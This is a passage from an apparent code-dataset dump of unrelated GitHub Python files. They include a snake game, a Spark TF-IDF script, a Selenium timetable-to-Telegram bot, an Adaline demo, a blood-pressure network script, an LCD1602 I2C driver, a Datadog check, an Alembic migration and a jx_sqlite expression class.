l32_keys != cheat_2 :\n l32_keys.append(event.key)\n if len(l32_keys) > 5:\n del l32_keys[0]\n key32.append(event.key)\n if len(key32)>5:\n del key32[0] \n \n gameWindow.fill(white)\n gameWindow.blit(bgimg,(0,0))\n\n if abs(snake_x - food_x)<8 and abs(snake_y - food_y)<8:\n channel1.play(sound1)\n score += 10\n snake_len += 1 \n food_x = random.randint(10,790)\n food_y = random.randint(40,390)\n if score > int(highscore) :\n highscore = score\n if abs(snake_x - power_x)<8 and abs(snake_y - power_y)<8:\n channel3.play(sound3)\n power_x = random.randint(10,790)\n power_y = random.randint(40,390)\n power_count += 1\n \n if poison_berry == \"poison_berry\":\n if abs(snake_x - berry_x)<8 and abs(snake_y - berry_y)<8:\n power_x = random.randint(10,790)\n power_y = random.randint(40,390)\n pygame.mixer.music.stop()\n channel2.play(sound2)\n count_s = time.time()\n game_over = True\n\n if power_count == 5:\n start_time = time.time()\n power_act = random.choice(powers) \n power_count = 0\n \n if berry_choose == True:\n poison_berry = random.choice(prob_poison)\n poison_time = time.time()\n if poison_berry == \"poison_berry\":\n berry_x = random.randint(10,790)\n berry_y = random.randint(40,390)\n berry_choose = False\n \n cur_time = time.time()\n diff = float(cur_time) - float(start_time)\n diff = int(diff)\n berry_diff = float(cur_time) - float(poison_time)\n berry_diff = int(berry_diff)\n if berry_diff == 10:\n berry_choose = True\n\n if diff < 0.5:\n text_screen2(f\"{power_act}\",blue,10,350)\n if diff <= 10:\n if power_act == \"Slow-mo\":\n gameWindow.blit(ability_s, (550, 5))\n initial_vel = 2.5\n text_screen2(f\": {10-diff}\",blue,740,10)\n if power_act == \"Invincibility\":\n gameWindow.blit(ability_i, (550, 5))\n text_screen2(f\": {10-diff}\",blue,740,10)\n if diff == 10:\n power_act = None\n elif diff > 10 :\n initial_vel = 5\n\n if key3 == cheat_1:\n text_screen2(\"Cheat successfull\",red,10,350)\n if key32 == cheat_2:\n text_screen2(\"Cheat successfull\",red,10,350)\n snake_y += vel_y\n snake_x += vel_x\n\n text_screen2(\"Score: \" + str(score), red, 5, 10)\n text_screen2(\"High Score: \" + str(highscore), dark_green, 210, 10)\n\n head =[]\n head.append(snake_x)\n head.append(snake_y)\n snake_lst.append(head)\n if len(snake_lst) > snake_len:\n del snake_lst[0]\n if l32_keys != cheat_2:\n pass \n elif l32_keys == cheat_2:\n score += 10\n if l3_keys == cheat_1 or power_act == \"Invincibility\":\n pass\n elif l3_keys != cheat_1 or power_act != \"Invincibility\":\n if head in snake_lst[:-1]:\n pygame.mixer.music.stop()\n channel2.play(sound2)\n count_s = time.time()\n game_over = True\n if snake_x < 0 or snake_x > screen_width or snake_y < 0 or snake_y > screen_height:\n pygame.mixer.music.stop()\n channel2.play(sound2)\n count_s = time.time()\n game_over = True\n\n if poison_berry != 'poison_berry':\n pygame.draw.rect(gameWindow,blue,[power_x,power_y,food_size_x,food_size_y])\n elif poison_berry == \"poison_berry\":\n pygame.draw.rect(gameWindow,purple,[berry_x,berry_y,food_size_x,food_size_y])\n pygame.draw.rect(gameWindow,red,[food_x,food_y,food_size_x,food_size_y])\n plot_snake(gameWindow,black,snake_lst, snake_size_x, snake_size_y)\n pygame.display.update()\n clock.tick(fps)\n pygame.quit()\n quit()\nwelcome()\n\n","repo_name":"DharulMittal/My-short-programmes","sub_path":"primitive snake/Snake/Snake.py","file_name":"Snake.py","file_ext":"py","file_size_in_byte":31247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2378439214","text":"from pyspark import SparkConf, SparkContext\nfrom pyspark.mllib.feature import HashingTF\nfrom pyspark.mllib.feature import IDF\n\n# spark config\nconf = SparkConf().setMaster(\"local\").setAppName(\"SparkTFIDF\")\nsc = SparkContext(conf = conf)\n\n# Load documents (one per line).\nrawData = sc.textFile(\"e:/sundog-consult/Udemy/DataScience/subset-small.tsv\")\nfields = rawData.map(lambda x: x.split(\"\\t\"))\ndocuments = fields.map(lambda x: x[3].split(\" \"))\n\n# Store the document names for later:\ndocumentNames = fields.map(lambda x: x[1])\n\n# Now hash the words in each document to their term frequencies:\nhashingTF = HashingTF(100000) #100K hash buckets just to save some memory\ntf = hashingTF.transform(documents)\n\n# an RDD of sparse vectors representing each document, where each value maps to the term frequency of each unique hash value.\ntf.cache()\nidf = IDF(minDocFreq=2).fit(tf)\ntfidf = idf.transform(tf)\n\n# hash values \"Gettysburg\" maps to by finding the and index a sparse vector from HashingTF\ngettysburgTF = hashingTF.transform([\"Gettysburg\"])\ngettysburgHashValue = int(gettysburgTF.indices[0])\n\n# extract the TF*IDF score for Gettsyburg's hash value into a new RDD for each document\ngettysburgRelevance = tfidf.map(lambda x: x[gettysburgHashValue])\n\n# zip in the document names so we can see which is which:\nzippedResults = gettysburgRelevance.zip(documentNames)\n\n# print the document with the maximum TF*IDF value:\nprint(\"Best document for Gettysburg is:\")\nprint(zippedResults.max())\n","repo_name":"saba-sabrin/WorkSamples","sub_path":"Python/NLP/TF-IDF_Spark.py","file_name":"TF-IDF_Spark.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22634058512","text":"from datetime import date\nimport os\nimport requests\n\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.firefox.options import Options\n\nfrom dotenv import load_dotenv\nload_dotenv()\n\ndef get_screenshot(username, password, api_key, chat_id, next_week = 0):\n '''\n Get screenshot of timetable (for lessons up till 9pm)\n\n Arguments:\n username - MyPortal login (student ID)\n password - MyPortal password\n api_key - Telegram bot api_key\n chat_id - Chat to send screenshot to\n next_week - 0 for this week's timetable, 1 for this and next week's timetable\n\n Return:\n None\n '''\n\n print(\"-----SUTD Timetable-----\")\n print(\"Starting webdriver...\")\n firefox_options = Options()\n firefox_options.add_argument(\"-headless\")\n gecko_path = os.getenv(\"gecko_path\")\n if gecko_path is None:\n gecko_path = r'./geckodriver.exe'\n driver = webdriver.Firefox(options = firefox_options, executable_path=gecko_path)\n\n # Login\n driver.get(\"https://myportal.sutd.edu.sg/psp/EPPRD/EMPLOYEE/EMPL/\")\n print(\"Logging-in...\")\n\n # Check if login succeeded\n try:\n username_element = driver.find_element_by_id(\"userid\") \n username_element.send_keys(username)\n password_element = driver.find_element_by_id(\"pwd\") \n password_element.send_keys(password)\n password_element.send_keys(Keys.RETURN)\n WebDriverWait(driver, 10).until(\n EC.title_is(\"SUTD MyPortal\")\n )\n print(\"Login successful\")\n except Exception as e:\n print(\"Error occurred on sign-in\")\n print(e)\n\n raise Exception(\"Unable to login!\")\n\n\n \n # Get XML\n driver.get(\"https://sams.sutd.edu.sg/psc/CSPRD/EMPLOYEE/HRMS/c/SA_LEARNER_SERVICES.SSR_SSENRL_SCHD_W.GBL\")\n\n try:\n WebDriverWait(driver, 5).until(\n EC.title_is(\"View My Weekly Schedule\")\n )\n except:\n driver.close()\n raise Exception(\"Error getting weekly schedule\")\n\n # Show class title, instructor and change end time\n title_checkbox = driver.find_element_by_id(\"DERIVED_CLASS_S_SSR_DISP_TITLE\")\n title_checkbox.click()\n instructor_checkbox = driver.find_element_by_id(\"DERIVED_CLASS_S_SHOW_INSTR\")\n instructor_checkbox.click()\n end_time = driver.find_element_by_id(\"DERIVED_CLASS_S_MEETING_TIME_END\")\n end_time.clear()\n end_time.send_keys(\"21\")\n refresh_cal = driver.find_element_by_id(\"DERIVED_CLASS_S_SSR_REFRESH_CAL$38$\")\n refresh_cal.click()\n \n try:\n WebDriverWait(driver, 5).until(\n EC.invisibility_of_element_located((By.ID, \"WAIT_win0\"))\n )\n except:\n driver.close()\n raise Exception(\"Refresh calendar timeout\")\n\n\n # Create screenshots folder if it does not exist \n if not os.path.exists('screenshots'):\n os.makedirs('screenshots')\n\n filename = f\"screenshots/{date.today().isoformat()}.png\"\n table = driver.find_element_by_id(\"SSR_DUMMY_REC$scroll$0\")\n table.screenshot(filename)\n print(f\"{filename} saved\")\n send_photo_telegram(api_key, chat_id, filename)\n\n if next_week:\n next_week_element = driver.find_element_by_id(\"DERIVED_CLASS_S_SSR_NEXT_WEEK\")\n next_week_element.click()\n try:\n WebDriverWait(driver, 5).until(\n EC.invisibility_of_element_located((By.ID, \"WAIT_win0\"))\n )\n except:\n driver.close()\n raise Exception(\"Refresh calendar timeout\")\n filename_next = f\"screenshots/{date.today().isoformat()}_nextweek.png\"\n table_next = driver.find_element_by_id(\"SSR_DUMMY_REC$scroll$0\")\n table_next.screenshot(filename_next)\n print(f\"{filename_next} saved\")\n send_photo_telegram(api_key, chat_id, filename_next, 1)\n\n driver.close()\n return\n\ndef send_photo_telegram(api_key, chat_id, filename, next_week = 0):\n url = f\"https://api.telegram.org/bot{api_key}/sendPhoto\"\n files = {'photo': open(filename, 'rb')}\n\n if next_week:\n data = {'chat_id' : chat_id, 'caption' : 'Next Week'}\n else:\n data = {'chat_id' : chat_id, 'caption' : 'This Week'}\n\n r = requests.post(url, files=files, data=data)\n if r.status_code == 200:\n print(\"Send to telegram success\")\n else:\n print(\"Send to telegram failed\")\n return\n\ndef send_msg_telegram(api_key, chat_id, text):\n '''\n Sends HTML parsed message to telegram chat\n '''\n requests.get(f\"https://api.telegram.org/bot{api_key}/sendMessage?chat_id={chat_id}&parse_mode=HTML&text={text}\")\n\n\nif __name__ == \"__main__\":\n get_screenshot(os.getenv(\"myportal_user\"), os.getenv(\"myportal_pw\"), os.getenv(\"api_key\"), os.getenv(\"chat_id\"), os.getenv(\"next_week\"))","repo_name":"iangohy/myportal_timetable_telebot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4908,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"4893557024","text":"import numpy as np \nimport pandas as pd\nimport matplotlib.pyplot as plt \n\nfrom adalinegd import AdalineGD\nfrom adalinesgd import AdalineSGD\nimport pdr\n\n\n# get the iris data\ndf = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data',\n\theader = None)\n\n# Plot 100 samples of the data\ny = df.iloc[0:100, 4].values\ny = np.where(y == 'Iris-setosa', -1, 1)\nX = df.iloc[0:100, [0, 2]].values\n\nplt.scatter(X[:50, 0], X[:50, 1], color = 'red', marker = 'o', label = 'setosa')\nplt.scatter(X[50:100, 0], X[50:100, 1], color = 'blue', marker = 'x', label = 'versicolor')\nplt.xlabel('petal length')\nplt.ylabel('sepal length')\nplt.legend(loc = 'upper left')\nplt.show()\n\n# Standardize the data\nX_std = np.copy(X)\nX_std[:, 0] = (X[:, 0] - X[:, 0].mean()) / X[:, 0].std()\nX_std[:, 1] = (X[:, 1] - X[:, 1].mean()) / X[:, 1].std()\n\n# Create the AdalineGD model\nmodel1 = AdalineGD(n_iter = 15, eta = 0.01)\n\n# Train the model\nmodel1.fit(X_std, y)\n\n# Plot the training error\nplt.plot(range(1, len(model1.cost_) + 1), model1.cost_, marker = 'o', color = 'red')\nplt.xlabel('Epochs')\nplt.ylabel('Sum-squared-error')\nplt.show()\n\n# Plot the decision boundary\npdr.plot_decision_regions(X_std, y, classifier = model1)\nplt.title('Adaline - Gradient Descent')\nplt.xlabel('sepal length [standardized')\nplt.ylabel('petal length [standardized]')\nplt.legend(loc = 'upper left')\nplt.show()\n\n# Create the AdalineSGD model\nmodel2 = AdalineSGD(n_iter = 15, eta = 0.01, random_state = 1)\n\n# Train the model\nmodel2.fit(X_std, y)\n\n# Plot the training errors of both of the models\nplt.plot(range(1, len(model2.cost_) + 1), model2.cost_, marker = 'x', color = 'blue')\nplt.xlabel('Epochs')\nplt.ylabel('Sum-squared-error')\nplt.show()\n\n\n# Plot the decision boundary\npdr.plot_decision_regions(X_std, y, classifier = model2)\nplt.title('Adaline - Stochastic Gradient Descent')\nplt.xlabel('sepal length [standardized')\nplt.ylabel('petal length [standardized]')\nplt.legend(loc = 'upper left')\nplt.show()\n","repo_name":"Natsu6767/Adaline","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"17895101651","text":"import numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nfrom torch.autograd import Variable\r\nimport os\r\nfrom models import *\r\nfrom models import AlexNetReg\r\nimport cv2\r\nfrom torch.utils.data.sampler import SubsetRandomSampler\r\n\r\n\"\"\" the input image of the NN is an image of size (3,110,110)\r\n save the path to the image here:\r\n\"\"\"\r\n## params:\r\n#paths_train = [\"datatest//projectB//40//patientid_3603778__data_00004175__sys_44.8975__dias_44.0873__pulse_88.2353.png\"]\r\npaths = [\"datatest//projectB//dans_30_12_20//Dan_1_113_63_color.png\",\r\n \"datatest//projectB//dans_30_12_20//Dan_2_124_66_color.png\",\r\n \"datatest//projectB//dans_30_12_20//Dan_3_138_71_color.png\",\r\n \"datatest//projectB//dans_30_12_20//Dan_4_140_71_color.png\",\r\n \"datatest//projectB//dans_30_12_20//Dan_5_153_77_color.png\"]\r\n\r\nfrom os import walk\r\n# give a path to the direct where all the images_train are in \"dir_path_train\"\r\ndir_path = \"datatest//projectB//data_3_1_21\"\r\npaths = []\r\nfor (dirpath, dirnames, filenames) in walk(dir_path):\r\n for file in filenames:\r\n paths.append(dir_path + '//' + file)\r\n\r\n\r\n\r\nmean = np.array([60.67936310044272, 178.48912203419349, 176.8054562010452])\r\nstd = np.array([66.21474767078614, 21.58253886942113, 61.06868912089884])\r\n\r\n## code start here\r\n# load torch\r\nprint(\"torch version:\",torch.__version__)\r\nif torch.cuda.is_available():\r\n print(\"cuda version:\", torch.version.cuda)\r\n device = torch.device('cuda:0')\r\n print(\"run on GPU.\")\r\nelse:\r\n device = torch.device('cpu')\r\n print(\"no cuda GPU available\")\r\n print(\"run on CPU\")\r\n\r\n# get model Dias\r\nmodel_dias = torch.load(\"model_dias.pth\")\r\nmodel_dias.to(device)\r\nmodel_dias.cuda()\r\nmodel_dias.train()\r\n\r\n\"\"\" can print the model \"\"\"\r\nprint(model_dias)\r\n\r\n## forword\r\nfor data_path in paths:\r\n image = cv2.imread(data_path) #load\r\n image = (image-mean)/std # normalized\r\n\r\n data = torch.tensor(image.T).view(1,3,110,110)\r\n\r\n # print(data.size())\r\n data = data.to(device=device, dtype=torch.float)\r\n data = Variable(data.cuda(device))\r\n\r\n output = model_dias(data)\r\n print(data_path + \" - diastolic:\")\r\n print(output.item())\r\n\"\"\"\r\n# get model Sys\r\nmodel_sys = torch.load(\"model_sys.pth\")\r\nmodel_sys.to(device)\r\nmodel_sys.cuda()\r\nmodel_sys.train()\r\n\r\n# print(model_sys)\r\n\r\n## forword\r\noutput = model_sys(data)\r\nprint(\"systolic:\")\r\nprint(output.item())\r\n\"\"\"","repo_name":"BIueMan/Blood_Pressure_Estimation_with_a_Smartwatch","sub_path":"code/NN_updated/NN_Gound/PPG_STFT_ToNN.py","file_name":"PPG_STFT_ToNN.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15456764523","text":"from time import sleep\nfrom typing import List\n\nimport smbus2\n\n\nclass Lcd1602:\n \"\"\"\n LCD1602 component.\n \"\"\"\n\n class Pcf8574:\n \"\"\"\n PCF8574 chip embedded into the LCD1602.\n \"\"\"\n\n PCF8574_ADDRESS = 0x27 # I2C address of the PCF8574 chip.\n PCF8574A_ADDRESS = 0x3F # I2C address of the PCF8574A chip.\n\n def __init__(\n self,\n address: int\n ):\n \"\"\"\n Initialize the chip.\n\n :param address: I2C address.\n \"\"\"\n\n self.address = address\n\n self.bus = smbus2.SMBus(1) # Change to 0 if running on a revision 1 Raspberry Pi.\n self.current_value = 0\n\n def output(\n self,\n pin: int,\n value: bool\n ):\n \"\"\"\n Output a value to a pin.\n\n :param pin: Pin.\n :param value: Value.\n \"\"\"\n\n byte_to_write = self.current_value\n\n if value:\n byte_to_write |= (1 << pin)\n else:\n byte_to_write &= ~(1 << pin)\n\n self.bus.write_byte(self.address, byte_to_write)\n self.current_value = byte_to_write\n\n def destroy(self):\n \"\"\"\n Destroy the bus being used by the chip.\n \"\"\"\n\n self.bus.close()\n\n # commands\n LCD_CLEAR_DISPLAY = 0x01\n LCD_RETURN_HOME = 0x02\n LCD_ENTRY_MODE_SET = 0x04\n LCD_DISPLAY_CONTROL = 0x08\n LCD_CURSOR_SHIFT = 0x10\n LCD_FUNCTION_SET = 0x20\n LCD_SET_CG_RAM_ADDRESS = 0x40\n LCD_SET_DD_RAM_ADDRESS = 0x80\n\n # flags for display entry mode\n LCD_ENTRY_RIGHT = 0x00\n LCD_ENTRY_LEFT = 0x02\n LCD_ENTRY_SHIFT_INCREMENT = 0x01\n LCD_ENTRY_SHIFT_DECREMENT = 0x00\n\n # flags for display on/off control\n LCD_DISPLAY_ON = 0x04\n LCD_DISPLAY_OFF = 0x00\n LCD_CURSOR_ON = 0x02\n LCD_CURSOR_OFF = 0x00\n LCD_BLINK_ON = 0x01\n LCD_BLINK_OFF = 0x00\n\n # flags for display/cursor shift\n LCD_DISPLAY_MOVE = 0x08\n LCD_CURSOR_MOVE = 0x00\n LCD_MOVE_RIGHT = 0x04\n LCD_MOVE_LEFT = 0x00\n\n # flags for function set\n LCD_8_BIT_MODE = 0x10\n LCD_4_BIT_MODE = 0x00\n LCD_2_LINE = 0x08\n LCD_1_LINE = 0x00\n LCD_5x10_DOTS = 0x04\n LCD_5x8_DOTS = 0x00\n\n def __init__(\n self,\n pin_rs: int,\n pin_e: int,\n pins_db: List[int],\n pcf8574_address: int\n ):\n \"\"\"\n Initialize the LCD.\n\n :param pin_rs: RS pin.\n :param pin_e: E pin.\n :param pins_db: Pins.\n :param pcf8574_address: I2C address of the PCF8574 chip.\n \"\"\"\n\n self.pin_rs = pin_rs\n self.pin_e = pin_e\n self.pins_db = pins_db\n self.pcf8574 = Lcd1602.Pcf8574(pcf8574_address)\n\n self.pcf8574.output(3, True) # turn on LCD backlight\n\n self.num_lines = None\n self.row_offsets = None\n\n self.write_4_bits(0x33) # initialization\n self.write_4_bits(0x32) # initialization\n self.write_4_bits(0x28) # 2 line 5x7 matrix\n self.write_4_bits(0x0C) # turn cursor off 0x0E to enable cursor\n self.write_4_bits(0x06) # shift cursor right\n\n self.display_control = self.LCD_DISPLAY_ON | self.LCD_CURSOR_OFF | self.LCD_BLINK_OFF\n self.display_function = self.LCD_4_BIT_MODE | self.LCD_1_LINE | self.LCD_5x8_DOTS | self.LCD_2_LINE\n\n # Initialize to default text direction (for romance languages)\n self.display_mode = self.LCD_ENTRY_LEFT | self.LCD_ENTRY_SHIFT_DECREMENT\n self.write_4_bits(self.LCD_ENTRY_MODE_SET | self.display_mode) # set the entry mode\n\n self.clear()\n\n def begin(self, lines):\n if lines > 1:\n self.num_lines = lines\n self.display_function |= self.LCD_2_LINE\n\n def home(self):\n self.write_4_bits(self.LCD_RETURN_HOME) # set cursor position to zero\n self.delay_microseconds(3000) # this command takes a long time!\n\n def clear(self):\n self.write_4_bits(self.LCD_CLEAR_DISPLAY) # command to clear display\n self.delay_microseconds(3000) # 3000 microsecond sleep, clearing the display takes a long time\n\n def set_cursor(self, col, row):\n\n self.row_offsets = [0x00, 0x40, 0x14, 0x54]\n\n if row > self.num_lines:\n row = self.num_lines - 1 # we count rows starting w/0\n self.write_4_bits(self.LCD_SET_DD_RAM_ADDRESS | (col + self.row_offsets[row]))\n\n def no_display(self):\n \"\"\" Turn the display off (quickly) \"\"\"\n self.display_control &= ~self.LCD_DISPLAY_ON\n self.write_4_bits(self.LCD_DISPLAY_CONTROL | self.display_control)\n\n def display(self):\n \"\"\" Turn the display on (quickly) \"\"\"\n self.display_control |= self.LCD_DISPLAY_ON\n self.write_4_bits(self.LCD_DISPLAY_CONTROL | self.display_control)\n\n def no_cursor(self):\n \"\"\" Turns the underline cursor off \"\"\"\n self.display_control &= ~self.LCD_CURSOR_ON\n self.write_4_bits(self.LCD_DISPLAY_CONTROL | self.display_control)\n\n def cursor(self):\n \"\"\" Turns the underline cursor on \"\"\"\n self.display_control |= self.LCD_CURSOR_ON\n self.write_4_bits(self.LCD_DISPLAY_CONTROL | self.display_control)\n\n def no_blink(self):\n \"\"\" Turn the blinking cursor off \"\"\"\n self.display_control &= ~self.LCD_BLINK_ON\n self.write_4_bits(self.LCD_DISPLAY_CONTROL | self.display_control)\n\n def blink(self):\n \"\"\" Turn the blinking cursor on \"\"\"\n self.display_control |= self.LCD_BLINK_ON\n self.write_4_bits(self.LCD_DISPLAY_CONTROL | self.display_control)\n\n def display_left(self):\n \"\"\" These commands scroll the display without changing the RAM \"\"\"\n self.write_4_bits(self.LCD_CURSOR_SHIFT | self.LCD_DISPLAY_MOVE | self.LCD_MOVE_LEFT)\n\n def scroll_display_right(self):\n \"\"\" These commands scroll the display without changing the RAM \"\"\"\n self.write_4_bits(self.LCD_CURSOR_SHIFT | self.LCD_DISPLAY_MOVE | self.LCD_MOVE_RIGHT)\n\n def left_to_right(self):\n \"\"\" This is for text that flows Left to Right \"\"\"\n self.display_mode |= self.LCD_ENTRY_LEFT\n self.write_4_bits(self.LCD_ENTRY_MODE_SET | self.display_mode)\n\n def right_to_left(self):\n \"\"\" This is for text that flows Right to Left \"\"\"\n self.display_mode &= ~self.LCD_ENTRY_LEFT\n self.write_4_bits(self.LCD_ENTRY_MODE_SET | self.display_mode)\n\n def auto_scroll(self):\n \"\"\" This will 'right justify' text from the cursor \"\"\"\n self.display_mode |= self.LCD_ENTRY_SHIFT_INCREMENT\n self.write_4_bits(self.LCD_ENTRY_MODE_SET | self.display_mode)\n\n def no_auto_scroll(self):\n \"\"\" This will 'left justify' text from the cursor \"\"\"\n self.display_mode &= ~self.LCD_ENTRY_SHIFT_INCREMENT\n self.write_4_bits(self.LCD_ENTRY_MODE_SET | self.display_mode)\n\n def write_4_bits(self, bits, char_mode=False):\n \"\"\" Send command to LCD \"\"\"\n self.delay_microseconds(1000) # 1000 microsecond sleep\n bits = bin(bits)[2:].zfill(8)\n self.pcf8574.output(self.pin_rs, char_mode)\n for pin in self.pins_db:\n self.pcf8574.output(pin, False)\n for i in range(4):\n if bits[i] == \"1\":\n self.pcf8574.output(self.pins_db[::-1][i], True)\n self.pulse_enable()\n for pin in self.pins_db:\n self.pcf8574.output(pin, False)\n for i in range(4, 8):\n if bits[i] == \"1\":\n self.pcf8574.output(self.pins_db[::-1][i - 4], True)\n self.pulse_enable()\n\n @staticmethod\n def delay_microseconds(microseconds):\n seconds = microseconds / float(1000000) # divide microseconds by 1 million for seconds\n sleep(seconds)\n\n def pulse_enable(self):\n self.pcf8574.output(self.pin_e, False)\n self.delay_microseconds(1) # 1 microsecond pause - enable pulse must be > 450ns\n self.pcf8574.output(self.pin_e, True)\n self.delay_microseconds(1) # 1 microsecond pause - enable pulse must be > 450ns\n self.pcf8574.output(self.pin_e, False)\n self.delay_microseconds(1) # commands need > 37us to settle\n\n def message(self, text):\n \"\"\" Send string to LCD. Newline wraps to second line\"\"\"\n for char in text:\n if char == '\\n':\n self.write_4_bits(0xC0) # next line\n else:\n self.write_4_bits(ord(char), True)\n","repo_name":"MatthewGerber/raspberry-py","sub_path":"src/raspberry_py/gpio/displays.py","file_name":"displays.py","file_ext":"py","file_size_in_byte":8511,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"33923480023","text":"import requests\n\nfrom datadog_checks.base import AgentCheck, ConfigurationError\n\n\nclass AwesomeCheck(AgentCheck):\n \"\"\"AwesomeCheck derives from AgentCheck, and provides the required check method.\"\"\"\n\n def check(self, instance):\n url = instance.get('url')\n search_string = instance.get('search_string')\n\n # It's a very good idea to do some basic sanity checking.\n # Try to be as specific as possible with the exceptions.\n if not url or not search_string:\n raise ConfigurationError('Configuration error, please fix awesome.yaml')\n\n try:\n response = requests.get(url)\n response.raise_for_status()\n # Something went horribly wrong\n except Exception as e:\n # Ideally we'd use a more specific message...\n self.service_check('awesome.search', self.CRITICAL, message=str(e))\n # Page is accessible\n else:\n # search_string is present\n if search_string in response.text:\n self.service_check('awesome.search', self.OK)\n # search_string was not found\n else:\n self.service_check('awesome.search', self.WARNING)\n\n","repo_name":"DataDog/learning-center-assets","sub_path":"courses/intro-integrations/new_check.py","file_name":"new_check.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"11379943087","text":"\"\"\"health plan and for patient\n\nRevision ID: 9e64130e0aa3\nRevises: 188be3df4761\nCreate Date: 2022-06-25 14:50:05.068869\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '9e64130e0aa3'\ndown_revision = '188be3df4761'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('health_plan_for_patient',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('created_at', sa.DateTime(timezone=True), server_default=sa.text('now()'), nullable=True),\n sa.Column('updated_at', sa.DateTime(timezone=True), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.Column('register_by', sa.Integer(), nullable=False),\n sa.Column('discount_percent', sa.Integer(), nullable=True),\n sa.Column('days', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('health_plan_list',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('created_at', sa.DateTime(timezone=True), server_default=sa.text('now()'), nullable=True),\n sa.Column('updated_at', sa.DateTime(timezone=True), nullable=True),\n sa.Column('name', sa.String(length=255), nullable=False),\n sa.Column('details', sa.Text(), nullable=True),\n sa.Column('voucher_code', sa.String(length=100), nullable=True),\n sa.Column('total_patients', sa.Integer(), nullable=False),\n sa.Column('expire_status', sa.Boolean(), nullable=True),\n sa.Column('expire_date', sa.Date(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('health_plan_list')\n op.drop_table('health_plan_for_patient')\n # ### end Alembic commands ###\n","repo_name":"Arif-Badhon/echamber_backend","sub_path":"src/alembic/versions/9e64130e0aa3_health_plan_and_for_patient.py","file_name":"9e64130e0aa3_health_plan_and_for_patient.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22925746065","text":"# encoding: utf-8\n#\n#\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http:# mozilla.org/MPL/2.0/.\n#\n# Contact: Kyle Lahnakoski (kyle@lahnakoski.com)\n#\nfrom __future__ import absolute_import, division, unicode_literals\n\nfrom jx_base.expressions import ConcatOp as ConcatOp_, TrueOp, ZERO, is_literal\nfrom jx_sqlite.expressions._utils import SQLang, check\nfrom jx_sqlite.expressions.length_op import LengthOp\nfrom jx_sqlite.expressions.sql_script import SQLScript\nfrom jx_sqlite.sqlite import quote_value, sql_call\nfrom mo_dots import coalesce\nfrom mo_json import STRING\nfrom mo_sql import (\n SQL,\n SQL_CASE,\n SQL_ELSE,\n SQL_EMPTY_STRING,\n SQL_END,\n SQL_NULL,\n SQL_THEN,\n SQL_WHEN,\n sql_iso,\n sql_list,\n sql_concat_text,\n ConcatSQL, SQL_PLUS, SQL_ONE, SQL_ZERO)\n\n\nclass ConcatOp(ConcatOp_):\n @check\n def to_sql(self, schema, not_null=False, boolean=False):\n default = self.default.to_sql(schema)\n if len(self.terms) == 0:\n return default\n len_sep = LengthOp(self.separator).partial_eval()\n no_sep = is_literal(len_sep) and len_sep.value==0\n sep = SQLang[self.separator].to_sql(schema)[0].sql.s\n\n acc = []\n for t in self.terms:\n t = SQLang[t]\n missing = t.missing().partial_eval()\n\n term = t.to_sql(schema, not_null=True)[0].sql\n if term.s:\n term_sql = term.s\n elif term.n:\n term_sql = \"cast(\" + term.n + \" as text)\"\n else:\n term_sql = (\n SQL_CASE\n + SQL_WHEN\n + term.b\n + SQL_THEN\n + quote_value(\"true\")\n + SQL_ELSE\n + quote_value(\"false\")\n + SQL_END\n )\n\n if no_sep:\n sep_term = term_sql\n else:\n sep_term = sql_iso(sql_concat_text([sep, term_sql]))\n\n if isinstance(missing, TrueOp):\n acc.append(SQL_EMPTY_STRING)\n elif missing:\n acc.append(\n SQL_CASE\n + SQL_WHEN\n + sql_iso(missing.to_sql(schema, boolean=True)[0].sql.b)\n + SQL_THEN\n + SQL_EMPTY_STRING\n + SQL_ELSE\n + sep_term\n + SQL_END\n )\n else:\n acc.append(sep_term)\n\n if no_sep:\n expr_ = sql_concat_text(acc)\n else:\n expr_ = sql_call(\n \"SUBSTR\",\n sql_concat_text(acc),\n ConcatSQL(LengthOp(self.separator).to_sql(schema)[0].sql.n, SQL_PLUS, SQL_ONE)\n )\n\n return SQLScript(\n expr=expr_,\n data_type=STRING,\n frum=self,\n miss=self.missing(),\n many=False,\n schema=schema,\n )\n","repo_name":"mozilla/jx-sqlite","sub_path":"jx_sqlite/expressions/concat_op.py","file_name":"concat_op.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"21"} +{"seq_id":"25356970660","text":"# А помните, был такой Ковид?\n# Как только ковидные ограничения смягчились, 